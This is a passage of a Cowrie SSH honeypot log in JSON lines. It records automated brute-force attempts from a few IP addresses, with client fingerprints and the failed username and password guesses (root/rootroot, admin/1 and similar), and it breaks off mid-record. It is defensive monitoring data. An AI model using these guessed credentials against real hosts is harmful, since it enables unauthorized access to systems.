{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:26.814661Z","src_ip":"176.65.132.129","session":"db956476ade6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:27.064985Z","src_ip":"176.65.132.129","session":"db956476ade6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:28.298068Z","src_ip":"176.65.132.129","session":"db956476ade6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33284,"dst_ip":"159.203.135.109","dst_port":22,"session":"d55c774c786f","protocol":"ssh","message":"New connection: 176.65.132.129:33284 (159.203.135.109:22) [session: d55c774c786f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:30.122556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:30.127628Z","src_ip":"176.65.132.129","session":"d55c774c786f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:30.210429Z","src_ip":"176.65.132.129","session":"d55c774c786f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1","message":"login attempt [admin/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:30.457861Z","src_ip":"176.65.132.129","session":"d55c774c786f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:31.541840Z","src_ip":"176.65.132.129","session":"d55c774c786f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33294,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc2e6213acc2","protocol":"ssh","message":"New connection: 176.65.132.129:33294 (159.203.135.109:22) [session: fc2e6213acc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:33.608302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:33.615188Z","src_ip":"176.65.132.129","session":"fc2e6213acc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:33.695692Z","src_ip":"176.65.132.129","session":"fc2e6213acc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:33.945804Z","src_ip":"176.65.132.129","session":"fc2e6213acc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:35.030603Z","src_ip":"176.65.132.129","session":"fc2e6213acc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45180,"dst_ip":"159.203.135.109","dst_port":22,"session":"91a34c08af9c","protocol":"ssh","message":"New connection: 176.65.132.129:45180 (159.203.135.109:22) [session: 91a34c08af9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:36.922230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:36.925529Z","src_ip":"176.65.132.129","session":"91a34c08af9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:37.007658Z","src_ip":"176.65.132.129","session":"91a34c08af9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:37.252166Z","src_ip":"176.65.132.129","session":"91a34c08af9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":51696,"dst_ip":"10.17.0.5","dst_port":22,"session":"71a4c801f53d","protocol":"ssh","message":"New connection: 193.106.245.20:51696 (10.17.0.5:22) [session: 71a4c801f53d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:37.361716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:37.365543Z","src_ip":"193.106.245.20","session":"71a4c801f53d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:37.485191Z","src_ip":"193.106.245.20","session":"71a4c801f53d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"abc123","message":"login attempt [dev/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:38.002059Z","src_ip":"193.106.245.20","session":"71a4c801f53d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:38.470980Z","src_ip":"176.65.132.129","session":"91a34c08af9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:39.125340Z","src_ip":"193.106.245.20","session":"71a4c801f53d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45186,"dst_ip":"159.203.135.109","dst_port":22,"session":"88673b1323b3","protocol":"ssh","message":"New connection: 176.65.132.129:45186 (159.203.135.109:22) [session: 88673b1323b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:40.331675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:40.336597Z","src_ip":"176.65.132.129","session":"88673b1323b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:40.418555Z","src_ip":"176.65.132.129","session":"88673b1323b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QQ123456","message":"login attempt [root/QQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:40.664264Z","src_ip":"176.65.132.129","session":"88673b1323b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:41.749311Z","src_ip":"176.65.132.129","session":"88673b1323b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45192,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bb9bca23759","protocol":"ssh","message":"New connection: 176.65.132.129:45192 (159.203.135.109:22) [session: 7bb9bca23759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:43.848079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:43.853131Z","src_ip":"176.65.132.129","session":"7bb9bca23759","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:43.936399Z","src_ip":"176.65.132.129","session":"7bb9bca23759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:44.182330Z","src_ip":"176.65.132.129","session":"7bb9bca23759","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:45.267263Z","src_ip":"176.65.132.129","session":"7bb9bca23759","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43566,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c2596b10b5b","protocol":"ssh","message":"New connection: 176.65.132.129:43566 (159.203.135.109:22) [session: 0c2596b10b5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:47.193559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:47.197321Z","src_ip":"176.65.132.129","session":"0c2596b10b5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:47.279902Z","src_ip":"176.65.132.129","session":"0c2596b10b5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hzx","password":"hzx","message":"login attempt [hzx/hzx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:47.528594Z","src_ip":"176.65.132.129","session":"0c2596b10b5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:48.756725Z","src_ip":"176.65.132.129","session":"0c2596b10b5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43582,"dst_ip":"159.203.135.109","dst_port":22,"session":"b228cf02566c","protocol":"ssh","message":"New connection: 176.65.132.129:43582 (159.203.135.109:22) [session: b228cf02566c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:50.576916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:50.581438Z","src_ip":"176.65.132.129","session":"b228cf02566c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 